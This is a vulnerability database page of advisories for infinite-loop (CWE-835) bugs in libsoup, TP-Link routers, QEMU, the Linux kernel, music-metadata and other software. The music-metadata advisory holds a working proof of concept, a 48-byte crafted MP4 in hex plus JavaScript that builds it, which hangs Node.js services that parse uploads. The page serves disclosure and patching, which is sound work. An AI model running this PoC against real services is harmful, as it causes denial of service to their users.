CWE-835
AllowedLoop with Unreachable Exit Condition ('Infinite Loop')
Abstraction: Base · Status: Incomplete
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
1314 vulnerabilities reference this CWE, most recent first.
GHSA-F6C4-GHC3-JW9F
Vulnerability from github – Published: 2023-04-17 21:30 – Updated: 2023-04-17 21:30A vulnerability, which was classified as problematic, was found in InternalError503 Forget It up to 1.3. This affects an unknown part of the file js/settings.js. The manipulation of the argument setForgetTime with the input 0 leads to infinite loop. It is possible to launch the attack on the local host. Upgrading to version 1.4 is able to address this issue. The name of the patch is adf0c7fd59b9c935b4fd675c556265620124999c. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-226119.
{
"affected": [],
"aliases": [
"CVE-2015-10103"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-17T19:15:07Z",
"severity": "LOW"
},
"details": "A vulnerability, which was classified as problematic, was found in InternalError503 Forget It up to 1.3. This affects an unknown part of the file js/settings.js. The manipulation of the argument setForgetTime with the input 0 leads to infinite loop. It is possible to launch the attack on the local host. Upgrading to version 1.4 is able to address this issue. The name of the patch is adf0c7fd59b9c935b4fd675c556265620124999c. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-226119.",
"id": "GHSA-f6c4-ghc3-jw9f",
"modified": "2023-04-17T21:30:18Z",
"published": "2023-04-17T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-10103"
},
{
"type": "WEB",
"url": "https://github.com/InternalError503/forget-it/commit/adf0c7fd59b9c935b4fd675c556265620124999c"
},
{
"type": "WEB",
"url": "https://github.com/InternalError503/forget-it/releases/tag/1.4"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.226119"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.226119"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-F6QG-RG6J-CXGF
Vulnerability from github – Published: 2024-11-11 21:31 – Updated: 2025-11-04 00:32GNOME libsoup before 3.6.1 has an infinite loop, and memory consumption. during the reading of certain patterns of WebSocket data from clients.
{
"affected": [],
"aliases": [
"CVE-2024-52532"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-11T20:15:20Z",
"severity": "HIGH"
},
"details": "GNOME libsoup before 3.6.1 has an infinite loop, and memory consumption. during the reading of certain patterns of WebSocket data from clients.",
"id": "GHSA-f6qg-rg6j-cxgf",
"modified": "2025-11-04T00:32:02Z",
"published": "2024-11-11T21:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52532"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/391"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/merge_requests/410"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/Teams/Releng/security/-/wikis/home"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00014.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F72F-2CVP-G7X5
Vulnerability from github – Published: 2022-07-08 00:00 – Updated: 2022-07-19 00:00An infinite loop in the function httpRpmPass of TP-Link TL-WR741N/TL-WR742N V1/V2/V3_130415 allows attackers to cause a Denial of Service (DoS) via a crafted packet.
{
"affected": [],
"aliases": [
"CVE-2022-32058"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-07T19:15:00Z",
"severity": "HIGH"
},
"details": "An infinite loop in the function httpRpmPass of TP-Link TL-WR741N/TL-WR742N V1/V2/V3_130415 allows attackers to cause a Denial of Service (DoS) via a crafted packet.",
"id": "GHSA-f72f-2cvp-g7x5",
"modified": "2022-07-19T00:00:27Z",
"published": "2022-07-08T00:00:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32058"
},
{
"type": "WEB",
"url": "https://github.com/whiter6666/CVE/blob/main/TP-Link%20TL-WR741NTL-WR742N%20.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F94X-6692-553Q
Vulnerability from github – Published: 2026-10-08 19:43 – Updated: 2026-10-08 19:43Summary
StsdAtom.get() in lib/mp4/AtomToken.ts parses an MP4 stsd (sample description) box's entry table by advancing a cursor with off += size - 4, where size is a 32-bit, attacker-controlled per-entry length read straight from the file. When size == 0, that advance is 0, so a file declaring a huge entry_count and a first entry size of 0 spins forever: same bytes read every iteration, no progress, no exit. Because StsdAtom.get runs synchronously inside strtok3's tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through parseBuffer, parseFile, parseStream, parseBlob, or parseWebStream.
This is currently unreleased — present on the master branch only, not in the latest npm release (11.14.0) or any earlier one. Reporting now, before it ships.
Details
lib/mp4/AtomToken.ts, StsdAtom.get():
for (let n = 0; n < header.numberOfEntries; ++n) {
const size = Token.UINT32_BE.get(buf, off); // attacker-controlled entry size
off += Token.UINT32_BE.len; // +4 (skip the size field)
table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off));
off += size - Token.UINT32_BE.len; // net advance = size - 4
}
- Introduced by commit
d2a7d6f("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code wasoff += size(correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it tooff += size - 4to correct the offset, but added no guard forsize < 4. - With
size == 0: net advance for the iteration is4 + (0 - 4) = 0.offnever moves. The loop re-reads the same 4 bytes assizeon every pass,entry_count(also attacker-controlled, up to0xFFFFFFFF) never runs out, andtable.push(...)grows without bound on every iteration. StsdAtom.getis invoked synchronously fromstrtok3'sAbstractTokenizer.readToken— there is noawaitpoint inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally;table's unbounded growth means it will also eventually exhaust memory if not killed first.- The pre-fix code (
off += size, no-4) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchableFieldDecodingErrorrather than looping. That's why this is a regression introduced specifically by the-4fix, not a pre-existing bug.
PoC
48-byte MP4 file: a 16-byte ftyp box + a 32-byte stsd box declaring entry_count = 0xFFFFFFFF with one sample entry whose size field is 0.
hex: 00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001
sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80
This builds the malicious buffer inline:
import { parseBuffer } from 'music-metadata';
const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff);
const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff];
const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; };
const zeros = (n) => new Array(n).fill(0);
function build(entryCount, entrySize) {
const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0));
const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count
const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry
const payload = cat(stsdHeader, entry);
const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload);
return Uint8Array.from(cat(ftyp, stsd));
}
const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0
console.log('parsing', hang.length, 'byte file …');
await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop
console.log('unreachable');
$ timeout 8 node poc.mjs
parsing 48 byte file …
# process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time
Control (benign input, entry_count = 1, same size = 0): rejects in 4 ms with a TypeError — the loop runs exactly once and terminates, confirming the hang is specific to the entry_count × size == 0 combination, not the size == 0 field alone.
Version-scope control (same 48-byte file against the latest npm release, music-metadata@11.14.0, which still has the pre-fix off += size): rejects in 4 ms with a FieldDecodingError — no hang. Confirms this is a master-only regression, not present in anything currently shipped.
Impact
Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call.
This is the same vulnerability class and CVSS vector as the project's own prior advisory, GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256 (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 stsd, not ASF extension objects) and, notably, this one reaches every tokenizer backend rather than being spared by parseStream the way the ASF bug was, since the buffer here is already fully materialized in memory when StsdAtom.get runs.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "music-metadata"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107391"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T19:43:25Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box\u0027s entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`\u0027s tokenizer, this doesn\u0027t just fail slowly \u2014 it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`.\n\nThis is currently unreleased \u2014 present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships.\n\n### Details\n\n`lib/mp4/AtomToken.ts`, `StsdAtom.get()`:\n\n```ts\nfor (let n = 0; n \u003c header.numberOfEntries; ++n) {\n const size = Token.UINT32_BE.get(buf, off); // attacker-controlled entry size\n off += Token.UINT32_BE.len; // +4 (skip the size field)\n table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off));\n off += size - Token.UINT32_BE.len; // net advance = size - 4\n}\n```\n\n- Introduced by commit `d2a7d6f` (\"fix(mp4): locate each sample entry after the first correctly\", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry \u2014 the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size \u003c 4`.\n- With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration.\n- `StsdAtom.get` is invoked synchronously from `strtok3`\u0027s `AbstractTokenizer.readToken` \u2014 there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`\u0027s unbounded growth means it will also eventually exhaust memory if not killed first.\n- The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That\u0027s why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug.\n\n### PoC\n\n48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`.\n\n```\nhex: 00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001\nsha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80\n```\n\nThis builds the malicious buffer inline:\n\n```js\nimport { parseBuffer } from \u0027music-metadata\u0027;\n\nconst ascii = (s) =\u003e [...s].map(c =\u003e c.charCodeAt(0) \u0026 0xff);\nconst u32be = (n) =\u003e [(n \u003e\u003e\u003e 24) \u0026 0xff, (n \u003e\u003e\u003e 16) \u0026 0xff, (n \u003e\u003e\u003e 8) \u0026 0xff, n \u0026 0xff];\nconst cat = (...a) =\u003e { const o = []; for (const x of a) o.push(...x); return o; };\nconst zeros = (n) =\u003e new Array(n).fill(0);\n\nfunction build(entryCount, entrySize) {\n const ftyp = cat(u32be(16), ascii(\u0027ftyp\u0027), ascii(\u0027M4A \u0027), u32be(0));\n const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count\n const entry = cat(u32be(entrySize), ascii(\u0027mp4a\u0027), zeros(6), [0, 1]); // size + 12-byte SampleEntry\n const payload = cat(stsdHeader, entry);\n const stsd = cat(u32be(8 + payload.length), ascii(\u0027stsd\u0027), payload);\n return Uint8Array.from(cat(ftyp, stsd));\n}\n\nconst hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0\nconsole.log(\u0027parsing\u0027, hang.length, \u0027byte file \u2026\u0027);\nawait parseBuffer(hang, { mimeType: \u0027audio/mp4\u0027 }); // never resolves \u2014 blocks the event loop\nconsole.log(\u0027unreachable\u0027);\n```\n\n```\n$ timeout 8 node poc.mjs\nparsing 48 byte file \u2026\n# process is killed by `timeout` after 8s \u2014 never resolves, ~100% CPU the whole time\n```\n\nControl (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` \u2014 the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` \u00d7 `size == 0` combination, not the `size == 0` field alone.\n\nVersion-scope control (same 48-byte file against the latest npm release, `music-metadata@11.14.0`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` \u2014 no hang. Confirms this is a `master`-only regression, not present in anything currently shipped.\n\n### Impact\n\nAny application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern \u2014 media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call. \n\nThis is the same vulnerability class and CVSS vector as the project\u0027s own prior advisory, **GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256** (ASF parser infinite loop, fixed in 11.12.1) \u2014 but a different sink (MP4 `stsd`, not ASF extension objects) and, notably, this one reaches *every* tokenizer backend rather than being spared by `parseStream` the way the ASF bug was, since the buffer here is already fully materialized in memory when `StsdAtom.get` runs.",
"id": "GHSA-f94x-6692-553q",
"modified": "2026-10-08T19:43:25Z",
"published": "2026-10-08T19:43:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-f94x-6692-553q"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/pull/2734"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/commit/90a7d52c69e921a0b019592d887acd97b1c8b8a5"
},
{
"type": "PACKAGE",
"url": "https://github.com/Borewit/music-metadata"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) \u2014 unreleased regression on master"
}
GHSA-F98X-7M57-3XG7
Vulnerability from github – Published: 2022-05-13 01:13 – Updated: 2022-05-13 01:13The pcnet_rdra_addr function in hw/net/pcnet.c in QEMU (aka Quick Emulator) allows local guest OS administrators to cause a denial of service (infinite loop and QEMU process crash) by setting the (1) receive or (2) transmit descriptor ring length to 0.
{
"affected": [],
"aliases": [
"CVE-2016-7909"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-10-05T16:59:00Z",
"severity": "MODERATE"
},
"details": "The pcnet_rdra_addr function in hw/net/pcnet.c in QEMU (aka Quick Emulator) allows local guest OS administrators to cause a denial of service (infinite loop and QEMU process crash) by setting the (1) receive or (2) transmit descriptor ring length to 0.",
"id": "GHSA-f98x-7m57-3xg7",
"modified": "2022-05-13T01:13:40Z",
"published": "2022-05-13T01:13:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7909"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/11/msg00038.html"
},
{
"type": "WEB",
"url": "https://lists.gnu.org/archive/html/qemu-devel/2016-09/msg07942.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201611-11"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2016-12/msg00140.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/10/03/3"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/10/03/6"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93275"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F9MW-FFQJ-QM54
Vulnerability from github – Published: 2026-07-25 12:31 – Updated: 2026-07-27 06:30In the Linux kernel, the following vulnerability has been resolved:
sched/rt: Have RT_PUSH_IPI be default off for non PREEMPT_RT
RT migration is done aggressively. When a CPU schedules out a high priority RT task for a lower priority task, it will look to see if there's any RT tasks that are waiting to run on another CPU that is of higher priority than the task this CPU is about to run. If it finds one, it will pull that task over to the CPU and allow it to run there instead.
Normally, this pulling is done by looking at the RT overloaded mask (rto) which contains all the CPUs in the scheduler domain with RT tasks that are waiting to run due to a higher priority RT task currently running on their CPU. The CPU that is about to schedule a lower priority task will grab the rq lock of the overloaded CPU and move the RT task from that CPU's runqueue to the local one and schedule the higher priority RT task.
This caused issues when a lot of CPUs would schedule a lower priority task at the same time. They would all try to grab the same runqueue lock of the CPU with the overloaded RT tasks. Only the first CPU that got in will get that task. All the others would wait until they got the runqueue lock and see there's nothing to pull and do nothing. On systems with lots of CPUs, this caused a large latency (up to 500us) which is beyond what PREEMPT_RT is to allow.
The solution to that was to create an RT_PUSH_IPI logic. When any CPU wanted to pull a task, instead of grabbing the runqueue lock of the overloaded CPU, it would start by sending an IPI to the overloaded CPU, and that IPI handler would have the CPU with the waiting RT task do a push instead. Then that handler would send an IPI to the next CPU with overloaded RT tasks, and so on. Note, after the first CPU starts this process, if another CPU wanted to do a pull, it would see that the process has already begun and would only increment a counter to have the IPIs continue again.
The RT_PUSH_IPI solved the latency problem with PREEMPT_RT but could cause a new issue with non PREEMPT_RT. Namely, softirqs run in a threaded context on PREEMPT_RT but they can run in an interrupt context in non-RT.
If an IPI lands on a CPU that has just woken up multiple RT tasks and the current CPU is running a non RT or a low priority RT task, instead of doing a push, it would simply do a schedule on that CPU. But if a softirq was also executing on this CPU, the schedule would need to wait until the softirq finished. Until then, the CPU would still be considered overloaded as there are RT tasks still waiting to run on it.
A live lock occurred on a workload that was doing heavy networking traffic on a large machine where the softirqs would run 500us out of 750us. And it would also be waking up RT tasks, causing the RT pull logic to be constantly executed.
When a softirq triggered on a CPU with RT tasks queued but not running yet, and the other CPUs would see this CPU as being overloaded, they would send an IPI over to it. The CPU would notice that the waiting RT tasks are of higher priority than the currently running task and simply schedule that CPU instead. But because the softirq was executing, before it could schedule, it would receive another IPI to do the same. The amount of IPIs would slow down the currently running softirq so much that before it could return back to task context, it would execute another softirq never allowing the CPU to schedule. This live locked that CPU.
As RT_PUSH_IPI was created to help PREEMPT_RT, make it default off if PREEMPT_RT is not enabled.
{
"affected": [],
"aliases": [
"CVE-2026-64374"
],
"database_specific": {
"cwe_ids": [
"CWE-667",
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-25T10:17:20Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/rt: Have RT_PUSH_IPI be default off for non PREEMPT_RT\n\nRT migration is done aggressively. When a CPU schedules out a high\npriority RT task for a lower priority task, it will look to see if there\u0027s\nany RT tasks that are waiting to run on another CPU that is of higher\npriority than the task this CPU is about to run. If it finds one, it will\npull that task over to the CPU and allow it to run there instead.\n\nNormally, this pulling is done by looking at the RT overloaded mask (rto)\nwhich contains all the CPUs in the scheduler domain with RT tasks that are\nwaiting to run due to a higher priority RT task currently running on their\nCPU. The CPU that is about to schedule a lower priority task will grab the\nrq lock of the overloaded CPU and move the RT task from that CPU\u0027s runqueue\nto the local one and schedule the higher priority RT task.\n\nThis caused issues when a lot of CPUs would schedule a lower priority task\nat the same time. They would all try to grab the same runqueue lock of\nthe CPU with the overloaded RT tasks. Only the first CPU that got in will\nget that task. All the others would wait until they got the runqueue lock\nand see there\u0027s nothing to pull and do nothing. On systems with lots of\nCPUs, this caused a large latency (up to 500us) which is beyond what\nPREEMPT_RT is to allow.\n\nThe solution to that was to create an RT_PUSH_IPI logic. When any CPU\nwanted to pull a task, instead of grabbing the runqueue lock of the\noverloaded CPU, it would start by sending an IPI to the overloaded CPU,\nand that IPI handler would have the CPU with the waiting RT task do a push\ninstead. Then that handler would send an IPI to the next CPU with\noverloaded RT tasks, and so on. Note, after the first CPU starts this\nprocess, if another CPU wanted to do a pull, it would see that the process\nhas already begun and would only increment a counter to have the IPIs\ncontinue again.\n\nThe RT_PUSH_IPI solved the latency problem with PREEMPT_RT but could cause\na new issue with non PREEMPT_RT. Namely, softirqs run in a threaded\ncontext on PREEMPT_RT but they can run in an interrupt context in non-RT.\n\nIf an IPI lands on a CPU that has just woken up multiple RT tasks and the\ncurrent CPU is running a non RT or a low priority RT task, instead of\ndoing a push, it would simply do a schedule on that CPU. But if a softirq\nwas also executing on this CPU, the schedule would need to wait until the\nsoftirq finished. Until then, the CPU would still be considered overloaded\nas there are RT tasks still waiting to run on it.\n\nA live lock occurred on a workload that was doing heavy networking traffic\non a large machine where the softirqs would run 500us out of 750us. And it\nwould also be waking up RT tasks, causing the RT pull logic to be\nconstantly executed.\n\nWhen a softirq triggered on a CPU with RT tasks queued but not running\nyet, and the other CPUs would see this CPU as being overloaded, they would\nsend an IPI over to it. The CPU would notice that the waiting RT tasks are\nof higher priority than the currently running task and simply schedule\nthat CPU instead. But because the softirq was executing, before it could\nschedule, it would receive another IPI to do the same. The amount of IPIs\nwould slow down the currently running softirq so much that before it could\nreturn back to task context, it would execute another softirq never\nallowing the CPU to schedule. This live locked that CPU.\n\nAs RT_PUSH_IPI was created to help PREEMPT_RT, make it default off if\nPREEMPT_RT is not enabled.",
"id": "GHSA-f9mw-ffqj-qm54",
"modified": "2026-07-27T06:30:34Z",
"published": "2026-07-25T12:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64374"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/44aae426dbfd51286f7eb601cfa14bc32164812a"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/4bd0da48fbc1dbef6774175129107fbbdd353e26"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/860aaff72c8446fed5e576249e19952883a18885"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/89237c8fc15d8016a194076e648ccb57d75e65ae"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/a18f80bf5359238c4f067d691b96af00286fdd89"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b99f04ae3d200d2f8844aa29145bd18eccbeecde"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/d8312a56d9a162e3ec76476aa487e7d20bc602e9"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/dd29c017aed628076e915fe4cdfb5392fd4c5cab"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F9VW-2HPV-H272
Vulnerability from github – Published: 2024-07-16 15:30 – Updated: 2024-07-17 21:31In the Linux kernel, the following vulnerability has been resolved:
iavf: Fix hang during reboot/shutdown
Recent commit 974578017fc1 ("iavf: Add waiting so the port is initialized in remove") adds a wait-loop at the beginning of iavf_remove() to ensure that port initialization is finished prior unregistering net device. This causes a regression in reboot/shutdown scenario because in this case callback iavf_shutdown() is called and this callback detaches the device, makes it down if it is running and sets its state to __IAVF_REMOVE. Later shutdown callback of associated PF driver (e.g. ice_shutdown) is called. That callback calls among other things sriov_disable() that calls indirectly iavf_remove() (see stack trace below). As the adapter state is already __IAVF_REMOVE then the mentioned loop is end-less and shutdown process hangs.
The patch fixes this by checking adapter's state at the beginning of iavf_remove() and skips the rest of the function if the adapter is already in remove state (shutdown is in progress).
Reproducer: 1. Create VF on PF driven by ice or i40e driver 2. Ensure that the VF is bound to iavf driver 3. Reboot
[52625.981294] sysrq: SysRq : Show Blocked State [52625.988377] task:reboot state:D stack: 0 pid:17359 ppid: 1 f2 [52625.996732] Call Trace: [52625.999187] __schedule+0x2d1/0x830 [52626.007400] schedule+0x35/0xa0 [52626.010545] schedule_hrtimeout_range_clock+0x83/0x100 [52626.020046] usleep_range+0x5b/0x80 [52626.023540] iavf_remove+0x63/0x5b0 [iavf] [52626.027645] pci_device_remove+0x3b/0xc0 [52626.031572] device_release_driver_internal+0x103/0x1f0 [52626.036805] pci_stop_bus_device+0x72/0xa0 [52626.040904] pci_stop_and_remove_bus_device+0xe/0x20 [52626.045870] pci_iov_remove_virtfn+0xba/0x120 [52626.050232] sriov_disable+0x2f/0xe0 [52626.053813] ice_free_vfs+0x7c/0x340 [ice] [52626.057946] ice_remove+0x220/0x240 [ice] [52626.061967] ice_shutdown+0x16/0x50 [ice] [52626.065987] pci_device_shutdown+0x34/0x60 [52626.070086] device_shutdown+0x165/0x1c5 [52626.074011] kernel_restart+0xe/0x30 [52626.077593] __do_sys_reboot+0x1d2/0x210 [52626.093815] do_syscall_64+0x5b/0x1a0 [52626.097483] entry_SYSCALL_64_after_hwframe+0x65/0xca
{
"affected": [],
"aliases": [
"CVE-2022-48840"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-16T13:15:11Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\niavf: Fix hang during reboot/shutdown\n\nRecent commit 974578017fc1 (\"iavf: Add waiting so the port is\ninitialized in remove\") adds a wait-loop at the beginning of\niavf_remove() to ensure that port initialization is finished\nprior unregistering net device. This causes a regression\nin reboot/shutdown scenario because in this case callback\niavf_shutdown() is called and this callback detaches the device,\nmakes it down if it is running and sets its state to __IAVF_REMOVE.\nLater shutdown callback of associated PF driver (e.g. ice_shutdown)\nis called. That callback calls among other things sriov_disable()\nthat calls indirectly iavf_remove() (see stack trace below).\nAs the adapter state is already __IAVF_REMOVE then the mentioned\nloop is end-less and shutdown process hangs.\n\nThe patch fixes this by checking adapter\u0027s state at the beginning\nof iavf_remove() and skips the rest of the function if the adapter\nis already in remove state (shutdown is in progress).\n\nReproducer:\n1. Create VF on PF driven by ice or i40e driver\n2. Ensure that the VF is bound to iavf driver\n3. Reboot\n\n[52625.981294] sysrq: SysRq : Show Blocked State\n[52625.988377] task:reboot state:D stack: 0 pid:17359 ppid: 1 f2\n[52625.996732] Call Trace:\n[52625.999187] __schedule+0x2d1/0x830\n[52626.007400] schedule+0x35/0xa0\n[52626.010545] schedule_hrtimeout_range_clock+0x83/0x100\n[52626.020046] usleep_range+0x5b/0x80\n[52626.023540] iavf_remove+0x63/0x5b0 [iavf]\n[52626.027645] pci_device_remove+0x3b/0xc0\n[52626.031572] device_release_driver_internal+0x103/0x1f0\n[52626.036805] pci_stop_bus_device+0x72/0xa0\n[52626.040904] pci_stop_and_remove_bus_device+0xe/0x20\n[52626.045870] pci_iov_remove_virtfn+0xba/0x120\n[52626.050232] sriov_disable+0x2f/0xe0\n[52626.053813] ice_free_vfs+0x7c/0x340 [ice]\n[52626.057946] ice_remove+0x220/0x240 [ice]\n[52626.061967] ice_shutdown+0x16/0x50 [ice]\n[52626.065987] pci_device_shutdown+0x34/0x60\n[52626.070086] device_shutdown+0x165/0x1c5\n[52626.074011] kernel_restart+0xe/0x30\n[52626.077593] __do_sys_reboot+0x1d2/0x210\n[52626.093815] do_syscall_64+0x5b/0x1a0\n[52626.097483] entry_SYSCALL_64_after_hwframe+0x65/0xca",
"id": "GHSA-f9vw-2hpv-h272",
"modified": "2024-07-17T21:31:37Z",
"published": "2024-07-16T15:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48840"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/4477b9a4193b35eb3a8afd2adf2d42add2f88d57"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/80974bb730270199c6fcb189af04d5945b87e813"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b04683ff8f0823b869c219c78ba0d974bddea0b5"
}
],
"schema_version": "1.4.0",
"severity": [
{
